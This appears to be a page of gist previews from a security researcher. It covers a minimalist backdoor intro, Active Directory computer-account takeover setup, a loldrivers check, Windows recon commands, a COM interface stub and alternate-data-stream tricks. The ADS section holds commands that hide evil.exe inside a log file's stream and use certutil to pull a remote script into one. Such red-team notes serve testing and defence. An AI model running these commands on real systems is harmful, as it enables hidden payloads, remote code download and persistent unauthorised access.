api0cradle

From the inside out, a minimalist backdoor. 

I'm a pretty big fan of simple, and elegant.  In this gist blog, I'll show you a very simple way to maintain access to a remote system that is behind a FireWall, NAT and VPN.

We will use in this example 3 tools.
1. Node
2. PowerShell
3. LocalTunnel

While I have a full compact, custom version, I will not release this.  

api0cradle

# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

api0cradle

# Simple script to check drivers in C:\windows\system32\drivers against the loldrivers list
# Author: Oddvar Moe - @oddvar.moe

$drivers = get-childitem -Path c:\windows\system32\drivers
$web_client = new-object system.net.webclient
$loldrivers = $web_client.DownloadString(" https://www.loldrivers.io/api/drivers.json") | ConvertFrom-Json

Write-output("Checking {0} drivers in C:\windows\system32\drivers against loldrivers.io json file" -f $drivers.Count)
foreach ($lol in $loldrivers.KnownVulnerableSamples)
{

api0cradle

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]

api0cradle

typedef interface ICMLuaUtil ICMLuaUtil;

typedef struct ICMLuaUtilVtbl {

    BEGIN_INTERFACE

        HRESULT(STDMETHODCALLTYPE *QueryInterface)(
            __RPC__in ICMLuaUtil * This,
            __RPC__in REFIID riid,
            _COM_Outptr_  void **ppvObject);

api0cradle

Add content to ADS

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"

extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe

findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe

certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab